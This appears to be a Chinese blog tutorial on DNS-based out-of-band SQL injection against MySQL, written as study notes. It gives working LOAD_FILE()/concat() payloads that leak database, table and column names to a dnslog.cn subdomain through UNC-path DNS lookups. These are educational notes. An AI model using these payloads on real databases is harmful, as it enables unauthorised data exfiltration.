(mysql的)DNS注入

本文总结了DNS注入的基础知识,包括如何利用LOAD_FILE()函数读取文件,以及在PHPStudy环境中配置该函数的方法。通过DNSLog.cn平台进行DNS注入实践,展示了如何获取数据库名、表名、列名等信息。此外,还讨论了DNS注入的限制,如目标必须有网络,以及Linux环境中SMB服务的缺失可能影响注入效果。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、基础知识总结:

DNS注入→让盲注变成显错注入

LOAD_FILE() :读取文件的函数
在phpstudy的cmd里用的时候,需要在从其他选项菜单→打开配置文件→mysql-ini的配置文件里加上:
secure_file_priv=
配置好后重启,才好使。
举例:select load_file('C\\1.txt')
两个\\原因,其中一个是转义符。
可以写绝对路径,也可以相对路径。

UNC路径:
Windows的SMB服务——可以共享文件

load_file 支持UNC路径。

http://dnslog.cn/   是dns注入的平台,用法:
点get subdomain,复制网址去访问,再点refresh record刷新,能显示访问人的ip

如果访问子域名,比如abc.8rrsju.dnslog.cn,再点refresh record刷新,也能显示访问人的ip

phpstudy中,select load_file('//8rrsju.dnslog.cn'),再点refresh record刷新,也能显示访问人的ip

用 concat()字符串拼接,把数据库和网址拼接起来,如:
select load_file(concat('//',database(),'.8rrsju.dnslog.cn/abc'));
ps:注意这一步的前提是cmd里进入数据库。
再点refresh record刷新,在网站的DNS Query Record里出现了test.8rrsju.dnslog.cn,其中test就是数据库名。

可以同理得到表名,列名,数据。
查表名:
select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.8rrsju.dnslog.cn/abc'));
ps:注意这一步的前提是cmd里进入的数据库不为空(里面至少有一个表)。
得到表名之一为admin123

查列名:
select load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin123' limit 0,1),'.8rrsju.dnslog.cn/abc'));
得到列名之一为Id

这种方法又叫 OBB:数据外带
这种方法的弱点:
1.目标得有网络。
2.SMB服务 Windows自带,Linux不自带。(面试时候可能会问DNS注入可以用于Linux吗?答案是不一定可以,并需要解释原因为SMB服务 Windows自带,Linux不自带)

 二、靶场:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值